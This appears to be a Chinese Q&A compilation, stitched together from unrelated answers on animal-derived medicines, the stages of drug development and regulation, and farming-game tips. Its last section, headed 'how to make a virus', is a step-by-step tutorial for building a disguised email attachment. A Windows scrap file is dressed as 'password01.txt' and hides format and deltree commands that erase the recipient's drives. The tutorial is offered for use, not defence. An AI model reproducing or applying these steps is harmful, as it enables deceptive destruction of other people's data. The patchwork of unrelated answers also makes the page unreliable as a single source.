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• 1，如何讓動物為藥品研制開發(fā)做貢獻
• 2，動物制藥廠是怎么制藥的
• 3，真的有藥可以引誘野動物達到捕獲的目的嗎
• 4，佛教徒如何開中藥處方有動物藥的
• 5，新藥的開發(fā)研制過程是怎樣進行的
• 6，藥是怎么研制出來的
• 7，怎么研制高科動物
• 8，牧場物語中動物藥怎么得到
• 9，動物藥的應用現狀
• 10，怎樣研制病毒

1，如何讓動物為藥品研制開發(fā)做貢獻

藥品研制后不能直接用于臨床實驗，要先進行動物實驗。。

2，動物制藥廠是怎么制藥的

基因工程不僅可以讓細菌生產藥，而且也可組建“動物制藥廠”。自從現代基因工程20世紀70年代問世以來，科學家們就致力于用這種技術來生產治療人類疾病所需的藥物，尤其是貴重藥物。迄今為止，科學家們不僅在細菌等微生物中獲得了成功，而且通過轉基因動物來生產藥物的成功事例也屢見不鮮。治療癌癥、心臟病、血液病、感染等諸多病癥的貴重蛋白藥物已經能從哺乳動物如牛、羊、鼠中制造出來，轉基因動物成了制藥廠。在制藥方面，哺乳動物細胞比一般細菌等微生物細胞具有明顯的優(yōu)勢。因為哺乳動物的細胞來自和人比較接近的哺乳動物。在這些細胞中產生的蛋白質藥物不需太多純化和加工即可用于人類，而在人類細菌中生產的蛋白質藥物則往往需要復雜的加工和純化，不僅費用昂貴，而且生產出的藥物往往使人有排斥反應。轉基因動物的研究已開始把目標轉向培育能生產藥用蛋白的轉基因動物這一充滿誘惑力的領域中了，并已取得不少成功的例證。那么，什么是轉基因動物呢？轉基因動物一定是具有新基因的動物，和轉基因植物相類似。對于植物，機體水平上的基因操作并不困難。采用Ti質粒、基因槍、花粉管通道導入法等有效的基因轉移技術，先將目的基因轉移到植物的原生質體內，再將這些原生質體培育成植株，其組織和細胞中就含有外源目的基因了。如何實現動物基因結構的改變呢？顯然，動物的體細胞不能作為受體，因為它們不具備像植物細胞那樣全能性。為了在整體動物水平上實現基因轉移，人們創(chuàng)造性地采用了顯微注射技術，也就將目的基因機械地注射到動物的受精卵內，由于目的基因可與受精卵的染色體DNA發(fā)生隨機整合，當整合有目的基因的受精卵發(fā)育成成熟個體時，這就是所謂的轉基因動物。動物基因轉移的方法相對來說比較簡單，不像植物那樣需要復雜地將基因搬來搬去，但向動物體內導入基因的具體操作還是有很大難度的?？茖W家們把顯微注射器的一端很長很細的玻璃管插到動物的受精卵里，將外來基因注射到體積比較大的雄前核中去，再將受精卵植入母體內，使之發(fā)育成完整的動物。整個操作中的困難在于，動物的卵都非常小，肉眼根本看不見，必須借助于顯微鏡精密儀器方能進行。有些物動物如鳥的受精卵就更小，操作起來更加困難。故此，人們通常以魚、鼠、兔、羊、豬、牛等較大的哺乳動物為研究對象進行轉基因操作和研究。

3，真的有藥可以引誘野動物達到捕獲的目的嗎

對于黃鱔、泥鰍、鱉、蝦等小水產動物的捕捉和進食可以來取以下引誘方法。 1.誘捕方法 利用藥物所散發(fā)出來的強嗜好性氣味,引誘野生或家養(yǎng)的鱉、黃鱔、泥鰍等聚集在一起,達到高效捕捉的目的。

4，佛教徒如何開中藥處方有動物藥的

額

能用其他非動物制品替代的就用替代品。實在必須要用到動物制品的當生慚愧心，做藥石想。為彼誦往生咒回向后再用吧。但不可殺生。

5，新藥的開發(fā)研制過程是怎樣進行的

新藥研制主要分新藥臨床前研 究和新藥臨床研究兩個過程。l 新藥臨床前研究內容 藥學研究藥理學研究毒理學研究一、藥學研究主要內容 ⑴ 原料藥生產工藝研究 ⑵ 制劑處方及工藝研究 ⑶ 確證化學結構或組分研究 ⑷ 質量研究：包括理化性質、純 度檢查、溶出度、含量測定等 ⑸ 質量標準草案及起草說明 ⑹ 穩(wěn)定性研究 ⑺ 臨床研究用樣品及其檢驗 報告 ⑻ 產品包裝材料及其選擇依據二、新藥藥理毒理學研究1．藥理學內容：①藥效學試驗： 主要藥效學試驗 一般藥理學試驗；②藥動學試驗。2．主要藥效學研究 1） 藥效學試驗：應以動物體內試驗 為主，必要時配合體外試驗，從 不同層次證實其藥效。 2） 觀測指標：應選用特異性強、敏 感性高、重現性好、客觀、定量 或半定量的指標進行觀測。3）實驗動物：根據各種試驗的 具體要求，合理選擇動物，對 其種屬、性別、年齡、體重、 健康狀態(tài)、飼養(yǎng)條件、動物來 源及合格證號等，應有詳細記 錄。5） 給藥劑量及途徑 ⑴ 試驗分組：各種試驗至少應設 三個劑量組，劑量選擇應合理，盡 量反映量效和／或時效關系，大動 物（猴、狗等）試驗或在特殊情況 下，可適當減少劑量組。 ⑵ 給藥途徑：應與臨床相同，如 確有困難，也可選用其他給藥途徑 進行試驗，但應說明原因。6）對照：主要藥效學研究應設對照 組，包括： ⑴ 正常動物空白對照組； ⑵ 模型動物對照組； ⑶ 陽性藥物對照組（必要時增設 溶媒或賦形劑對照組）。陽性對照藥 應選用正式批準生產的藥品，根據需 要設一個或多個劑量組。3．一般藥理學研究主要觀察給藥后對動物以下三個系統(tǒng)的影響： ⒈）神經系統(tǒng)：活動情況、行為變化 及對中樞神經系統(tǒng)的影響。 ⒉）心血管系統(tǒng)：對心電圖及血壓等 的影響。 ⒊）呼吸系統(tǒng)：對呼吸頻率、節(jié)律及 幅度的影響。 須設2～3個劑量組，低劑量應相當于藥效學的有效劑量；給藥途徑應與主要藥效學試驗相同，4．藥動學研究 對有效成分明確的第一類新藥， 可參照化學藥品的藥動學方法，研 究其在動物體內的吸收、分布、代 謝及排泄，并計算各項參數。5．毒理學研究Toxicology Study 1）急性毒性（Acute toxicology） 2）慢性毒性（Chronic toxicology） 3）特殊毒性（Special Test） 半數致死量 Lethal Dose 50 (LD50) 最大耐受量 Maximal Resistance Experiment1）急性毒性試驗(1）LD50測定選用擬推薦臨床試驗 的給藥途徑，觀察一次給藥 后動物的毒性反應并測定其 LD50。水溶性好的一、二類新藥應測定 二種給藥途徑的LD50。給藥后至少 觀察7天，記錄動物毒性反應情況、 體重變化及動物死亡時間分布。對 死亡動物應及時進行肉眼尸檢，當 尸檢發(fā)現病變時應對該組織進行鏡 檢。2）最大給藥量試驗 如因受試藥物的濃度或體積限制， 無法測出半數致死量（LD50）時，可 做最大給藥量試驗。試驗應選用擬推 薦臨床試驗的給藥途徑，以動物能耐 受的最大濃度、最大體積的藥量一次 或一日內2～3次給予動物。（如用小白鼠，動物數不得少于20只，雌雄各半），連續(xù)觀察7天，詳細記錄動物反應情況，計算出總給藥量（折合生藥量g/kg）。 3）長期毒性試驗 長期毒性試驗是觀察動物因連 續(xù)用藥而產生的毒性反應及其嚴重 程度，以及停藥后的發(fā)展和恢復情 況，為臨床研究提供依據。長期毒性實驗條件Conditions for Chronic Experiment ⑴ 動物 （Animals） ⑵ 劑量 （Dosage） ⑶方法與給藥途徑（Methods and route of administration） ⑷ 實驗周期（Experimental cycle）治療局部應用的藥物Drugs for local application 治療局部疾患且方中不含毒性藥材或有毒成分的第三、第四類外用藥，一般可不做長期毒性試驗。 但需做局部刺激試驗、過敏試驗，必要時需做光敏試驗。可能影響胎兒或子代發(fā)育的藥物，除按一般毒理學要求進行試驗外，還應增做相應的生殖毒性試驗 (reproductive experiment) 。特殊毒性實驗（Special Test）致癌實驗（Carcinogenesis test） genetic mutation 致突變實驗（Mutagenesis test） cancer induction致畸癌實驗（Teratogenesis test） congenitally deformed baby or congenital malformationDrug dependence Test: addiction進行臨床研究應具備的條件申報臨床研究并獲得國家食品藥品監(jiān)督管理（SFDA)局批準Application for Clinical Study Approval by CDA 獲得倫理委員會批準 Supervised by Ethic Council 新藥臨床實驗Clinical Study of New Drugs臨床試驗（Clinical Trials)生物等效性試驗 （Bio-equivalent Study）臨床試驗分期Clinical trialsI 期II期III期IV期I期臨床試驗 為初步的臨床藥理學及人體安全性評價試驗，主要觀察人體對新藥的耐受性（tolerance）和藥動學規(guī)律，為制定給藥方案提供依據。Biological equipotent experiment 生物等效性試驗II 期臨床試驗 為隨機盲法對照臨床試驗，主要對新藥有效性及安全性作出初步評價，并推薦臨床給藥劑量。III期臨床試驗 為擴大的多中心臨床試驗，應遵循隨機對照原則，進一步評價新藥的有效性和安全性。IV期臨床試驗 為新藥上市后的監(jiān)測，在廣泛使用條件下進一步考察新藥的療效和不良反應（尤其注意罕見的不良反應）。臨床研究要求Principle Require⒈獲得國家食品藥品監(jiān)督管理（SFDA) 局批準⒉符合國家藥品監(jiān)督管理局《藥品臨 床試驗管理規(guī)范》的有關規(guī)定。 ⒊臨床研究的病例數應符合統(tǒng)計學要 求。4．在SDA確定的藥品臨床研究基地中 選擇臨床研究負責和承擔單位⒌ 臨床研究單位應了解和熟悉試驗用 藥的作用和安全性，按GCP要求制 定臨床研究方案。⒍ 應指定具有一定專業(yè)知識的人員遵 循GCP的有關要求，監(jiān)督臨床研究 的進行。⒎ 不良事件（Adverse events ） 臨床研究期間若發(fā)生嚴重不 良事件，須立即采取必要措施 保護受試者安全，并在24小時 內向當地省級藥品監(jiān)督管理部 門和國家藥品監(jiān)督管理局報告。⒏ 臨床研究完成后，臨床研究單 位須寫出總結報告，負責單位 匯總，交研制單位。 有關試驗和具體要求⒈ 耐受性試驗 受試對象、受試例數、分組、 確定初試劑量⒈ 耐受性試驗 ⑴ 受試對象：應選擇健康志愿者， 特殊病證可選輕型患者。健康狀況 須經健康檢查，除一般體格檢查外， 尚要做血、尿、糞便常規(guī)化驗和心、 肝、腎功能檢查，并應均屬正常。 要注意排除有藥物、食物過敏史者。對妊娠期、哺乳期、月經期及嗜煙、嗜酒者亦應除外。還應排除可能影響試驗結果和試驗對象健康的隱性傳染病等。受試例數20～30例，以18～50歲為宜，男女例數最好相等。⑵ 分組：在最小初試劑量與最大初試 劑量之間分若干組。⑶ 確定初試劑量：最小初試劑量一般 可從同類藥物臨床治療量的1/10開 始。⒉ 藥動學研究⑴ 可與耐受性試驗結合進行⑵ 質控要求：檢測方法應靈敏度 精、專屬性強、回收率高和重 現性好。藥品不良反應（adverse drug reaction，ADR）不良事件（adverse event）藥品不良反應和不良事件的判斷與處理 ⑴ 藥品不良反應 （adverse drug reaction，ADR） 指在規(guī)定劑量正常用藥過程中所產 生的有害而非期望的、與藥品應用有 因果關系的反應。 在一種新藥或藥品新用途的 臨床試驗中，如治療劑量尚未確 定時，所有的有害而非期望的、 與藥品應用有因果關系的反應， 也應視為藥品不良反應。⑵ 不良事件（adverse event）： 病人或臨床試驗受試者接受一種藥 品后出現的不良醫(yī)學事件，但并不 一定與治療有因果關系。⑶ 嚴重不良事件 （serious adverse event）： 臨床試驗過程中發(fā)生需住院治療、 延長住院時間、傷殘、影響工作能 力、危及生命或死亡、導致先天畸 形等不良事件。 ⑷ 藥品不良反應分類 臨床試驗中藥品不良反應分臨 床反應和化驗異常兩部分。 臨床反應常分為A、B、C三型。① A型反應：由藥物藥理作用過強或 與其他藥物出現相互作用所引起。 臨床試驗中觀察、檢查和評價的主 要是A型反應，其評價方法與上市 后監(jiān)測藥物不良反應的方法相似， 都是通過所發(fā)現的反應與所用藥物 之間的因果分析來評定反應與藥物 是否有關。② B型反應：又稱特異反應，可危 及生命且不能預測，一旦發(fā)生， 需立即向主辦單位與藥政管理 部門報告。③ C型反應：常以疾病形式出現，在 新藥試驗中不易被察覺，常通過流 行學研究發(fā)現。藥品不良反應的評價標準①五級標準： 有關 / 很可能有關 / 可能有關 / 可能無關 / 無關 用前二種相加來統(tǒng)計不良反應發(fā)生率。② 七級標準： 有關/很可能有關/可能有關/不大可能有關/可能無關/無關/無法評價。 如何確定不良事件與藥物存在因果關系①用藥與出現不良事件的時間關系以 及是否具有量效關系②停藥后不良事件是否有所緩解③在嚴密觀察并確保安全的情況下， 觀察重復給藥時不良事件是否再次 出現等。 ⒋臨床試驗設計原則Principle of clinical trials隨機性（randomization）合理性（rationality）重復性（replication）代表性（representativeness）⑴ 隨機性：兩組病人的分配均勻，不 隨主觀意志為轉移。⑵ 合理性：既要符合專業(yè)要求與統(tǒng)計 學要求，又要切實可行。⑶ 代表性：受試對象的確定應符合樣 本抽樣符合總體的原則。⑷ 重復性：經得起重復驗證。排除系 統(tǒng)誤差。⒌ 對照試驗⑴ 平行對照試驗： 隨機分組對照試驗，最常用的是試 驗藥A與對照藥B（或安慰劑）進行 隨機對照比較。⑵ 交叉對照試驗： 拉丁方設計（latin square design）。⒍ 設盲（blinding／masking）： 使一方或多方不知道受試者治療分配的一種程序。 雙盲法試驗（double blind technique）⒎ 安慰劑（placebo）安慰劑是指沒有藥理活性的物質如乳糖、淀粉等，常用作臨床對照試驗中的陰性對照。安慰劑可引起療效（正效應）和不良反應（負效應）。鎮(zhèn)痛、鎮(zhèn)靜止咳等的有效率平均可達35.2％土2.2％。分類：純安慰劑:無藥理活性不純安慰劑:指作用不強的藥物，有時起安慰劑的作用。安慰劑效應（placebo effect）⒏ 療效判斷臨床療效評價（response assessment）公認標準采用四級評定。痊愈（cure）顯效（excellence）好轉（improvement）無效（failure）痊愈率+顯效率=有效率（％）。 ⒈ 藥品臨床前試驗管理規(guī)范（good laboratory practice，GLP） GLP是對從事實驗研究的規(guī)劃設計、執(zhí)行實施、管理監(jiān)督和記錄報告等實驗室組織管理、工作方法和有關條件所提出的法規(guī)性文件。它主要是針對有關藥品、食品添加劑、農藥、化學試劑、化妝品及其他醫(yī)用物品的動物毒性評價而制定的法規(guī)，目的在于嚴格控制藥品安全性評價的各個環(huán)節(jié)，包括嚴格控制可能影響實驗結果準確性的各種主、客觀因素，如保證實驗研究人員具備一定素質、實驗設計慎密合理、各種實驗條件合格、數據完整準確以及總結資料科學真實等。2. 藥品臨床試驗管理規(guī)范（good clinicaI practice，GCP） GCP的核心是保障受試者與患者的權利，保證臨床試驗的科學性。這些規(guī)范規(guī)定了臨床試驗的有關各方，即申辦者、研究者及管理當局在臨床試驗中的職責、相互關系和工作方式。3. 藥品生產質量管理規(guī)范（good manufacture practice, GMP） GMP是為生產出全面符合質量標準的藥品而制定的生產規(guī)范，它由硬件和軟件組成，其實施包括藥品生產的全過程，從對原料、制劑一直到銷售、退貨以及藥品管理部門 全體人員應具備的條件等都做了詳細的規(guī)定。原料藥的制作與制劑在實質上有一定差別，但GMP要求基本精神要一致。⒋ 藥品供應質量管理規(guī)范 （good supply practice,GSP）: GSP是為保證藥品在運輸、貯存 和銷售過程中的質量和效力所 制定的管理規(guī)范。⒌ 道地藥材生產規(guī)范 （good organic practice，GOP） GOP是關于大宗藥材基地化和集約化的生產管理規(guī)范，目前正進行GOP基礎研究，爭取到2010年，使100種最常用道地藥材的質量穩(wěn)定在高標準水平上，基本消滅次、劣品；使出口值排在前10位的藥材達到國際無公害藥材（Organic）水平。國家基本藥物Essential Drugs in China 1985年，WHO在內羅畢會議上擴展了基本藥物的概念，使其包括了高度重視合理用藥的內容，同時，在推薦基本藥物目錄遴選程序時，還把基本藥物的遴選過程與標準治療指南以及國家處方集結起來，也就是使基本藥物與合理用藥相結合。 我國的國家基本藥物是從我國臨床應用的各類藥物中，經科學評價而遴選出的具有代表性的藥品，無論從療效、不良反應、價格和質量，還是從穩(wěn)定性、使用方便性和可獲得性等方面，都是同類藥物中最佳的；是在經濟條件允許的情況下，治療某種病癥的首選藥品，它必須能滿足大部分人口衛(wèi)生保健的需要。處方藥與非處方藥⒈ 處方藥(prescription drug)⑴ 剛上市的新藥：對其活性和副作用 還需進一步觀察；⑵ 可產生依賴性的藥品：如嗎啡類鎮(zhèn) 痛藥及某些催眠安定藥；⑶ 本身毒性較大的藥品，如抗癌藥等；⑷ 用藥時要經醫(yī)生開處方并在其指 導下使用，或治療需實驗室確診 的某些疾病的藥品，如治療心血 管疾病的藥品。國家非處方藥遴選原則應用安全、療效確切、質量穩(wěn)定，使用方便。⒉ 非處方藥(Over the counter, OTC) OTC多治療諸如感冒、發(fā)燒、咳 嗽、消化系統(tǒng)疾病、頭痛、關節(jié)疾 病、過敏癥（如鼻炎）等疾病；它 還包括營養(yǎng)補劑如維生素、中藥補 劑等藥品，大多安全而有效。 甲類非處方藥的零售企業(yè)必須具有《藥品經營企業(yè)許可證》。經省級藥品監(jiān)督管理部門或其授權的藥品監(jiān)督管理部門批準的其它商業(yè)企業(yè)可以零售乙類非處方藥。零售乙類非處方藥的商業(yè)企業(yè)必須配備專職的具有高中以上文化程度，經專業(yè)培訓后，由省級藥品監(jiān)督管理部門或其授權的藥品監(jiān)督管理部門考核合格并取得上崗證的人員。使用注意：因非處方藥不需要憑執(zhí)業(yè)醫(yī)師或執(zhí)業(yè)助理醫(yī)師處方，消費者即可按藥品說明書自行判斷、購買和使用，為此，對部分品種除規(guī)定了使用時間、療程外，還強調遇到某些情況時應向醫(yī)師咨詢等。The End

6，藥是怎么研制出來的

有很多藥物的問世是誤打誤撞的啊,象萬艾可,最初的實驗研究是針對心腦血管的,結果人體實驗中卻發(fā)現了另外的作用.

1。傳統(tǒng)藥物有效，具用藥經驗，提純上市。 2。分析提純的藥物成分，尋找有效成分結構式。 3。修飾找到的結構式，使更利于吸收或增效。 4。合成這個結構式，或結構類似物，用于治病。

中國的藥是仿制出來的，很少會自己研究開發(fā)的。仿制就是仿造別人的藥，就是國外的這種藥品已經上市銷售了，中國就買過來對其進行研究，并查相關文獻資料，再試制出相應的仿制藥品，報到國家藥監(jiān)局進行審批，審批通過后就是中國所謂的新藥/

7，怎么研制高科動物

點擊9級以上的棚窩的房子，就會出現 科研列表，選擇科研一種動物就開始科研了，那些動物就是高等級，高收益動物！ 如果棚窩沒到9級，你的等級和金幣又達到升級棚窩的要求了。可以點擊棚窩下的 升級 木牌，進行升級！

您好！樓主，QQ牧場科研高等級、高收益動物需要把棚和窩升級到9級以上級別，然后點擊棚和窩的房子就會出現科研列表了。里面就是可以科研的動物，當然，要科研更好的動物就必須把棚和窩進一步升級，現在棚和窩最高級能升到13級。 如果我的回答對樓主有幫助，請點擊答案下的“采納此答案”如果您還有疑問，請追問采納后請再評價 五星和 原創(chuàng)祝樓主龍年開心快樂！牧場top6為您解答

8，牧場物語中動物藥怎么得到

出牧場后右拐,有a.m.11:00-p.m.4:00開門的雞小屋,跟柜臺說話,有1000G的動物藥,雞牛羊通用,雞小屋右邊有a.m.10:00-p.m.3:00牛小屋,也跟柜臺說話,也有1000G的動物藥

在養(yǎng)雞場或牛羊舍都有賣，在這兩個地方買到的動物藥是通用的。

有的 去大壯漢那里買 如果當天沒有 睡一天再去

當然是去到養(yǎng)雞場和養(yǎng)牛羊的地方去買拉

如果是MM版還可以對著鏡子,用證書.(到班那買的那個)

出牧場后右拐,有a.m.11:00-p.m.4:00開門的雞小屋,跟柜臺說話,有1000G的動物藥,雞牛羊通用,雞小屋右邊有a.m.10:00-p.m.3:00牛小屋,也跟柜臺說話,也有1000G的動物藥 如果是MM版還可以對著鏡子,用證書.(到班那買的那個)

9，動物藥的應用現狀

現代科學研究證實，動物藥和同體積、同重量的植物藥相比，大都具有極強的生物活性，尤其對某些頑癥、重病，更顯示了其獨特的生物活性。如斑蝥，《神農本草經》中列為下品，以后歷代本草均有記載，具有攻毒、破血、引赤、發(fā)泡的功能?，F代研究表明，斑蝥中含有的斑蝥素為抗癌有效成分，臨床治療肝癌和膀胱癌有效，此外還具有刺激骨髓產生白細胞的作用，這是一般抗癌藥所不及的。此外，近年來我國動物藥的應用開發(fā)研究還體現在新的動物藥材的應用和原有藥用動物的其它藥用部位的開發(fā)。如鹿茸是一味著名的中藥材，但除鹿茸外，鹿的全身也都是寶，很多部位皆可供藥用，如鹿鞭、鹿胎、鹿茸血、鹿肉、鹿骨、鹿角膠、鹿尾等，利用鹿身上這些部位研制的產品，深受人們的喜愛。 另外，隨著社會的發(fā)展和科學的進步，人類社會更加崇尚自然，返璞歸真成為社會新潮，而動物藥具有天然的特性，這為我國豐富的動物藥資源的開發(fā)提供了廣闊的天地。目前已開發(fā)出來的很多產品都深受廣大消費者的歡迎，其中保健品如大力神口服液、金牡蠣，化妝美容品如珍珠美容霜，天然香精如麝香、靈貓香等?？梢哉f在動物藥的開發(fā)利用方面已經取得了一定的成就。

10，怎樣研制病毒

如何制作木馬病毒 TXT炸彈的制作 [color=deeppink][/color] 1.創(chuàng)建一個只包含一個空格( 為了減小文件體積)的文本文件，任意取名。 2.打開｛寫字板文檔｝，將此文件拖放入｛寫字板文檔｝。也可以點擊記｛寫字板 文檔｝單欄中的“插入\對象”，彈出“插入對象”對話框，選中“從文件創(chuàng)建”，然后 點擊“瀏覽”按鈕選擇要插入的文件。 3.選中該插入對象的圖標，選擇菜單欄中的“編輯\包對象\編輯包”(如圖1)。在彈 出的“對象包裝程序”對話框中，選擇菜單欄中的“編輯\命令行”，然后輸入如下命令 ：start.exe /m format c:/q /autotest /u ，點擊“確定”，此時，內容欄中會顯示 出命令內容。 4.點擊外觀欄中的“插入圖標”按鈕，會彈出一個警告對話框，確認，然后任選一 個圖標。 5.選擇菜單欄中的“編輯\卷標”，為此嵌入對象取一個名稱(會替換原來的文件名 稱)。點擊“文件”菜單中的“更新”，然后關閉此對話框。 6.將剛剛建立的嵌入對象拖放到桌面上。文件的默認名是“碎片”（在2000下的默 認名為”片段”），現在我們把它改成“password01.txt”。打開電子郵件程序將桌面 上的“password01.txt”作為附件發(fā)出，或者將含有嵌入對象(帶有惡意命令)的文檔作 為附件發(fā)出。 7.當郵件接收者誤將“password01.txt.shs”文件作為“password01.txt”(如前文 所述，“.SHS”擴展名永遠是隱藏的)放心地打開時，或打開文件，點擊文件中的嵌入對 象時觸發(fā)惡意命令(彈出DOS運行窗口，執(zhí)行格式化命令)．如果將上面的命令替換為：st art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 則是將刪除對方硬盤下所有文件（盤符 根據實際情況自定義）；如果替換為：start.exe /m deltree /y c:\windows\system\*.* 則是刪除對方c:\windows\system\目錄底下的所有文件．（當 然大家可以改成其它的命令） 很簡單，這樣一個惡意的攻擊程序被弄出來了！ 參考資料：百度

直接無視這種問題、自己的安全還沒做好就想學弄病毒、自己到bbs.itzhe.org學習去、

自己動手寫一個出來唄，如果你不會篇程那就免了吧。

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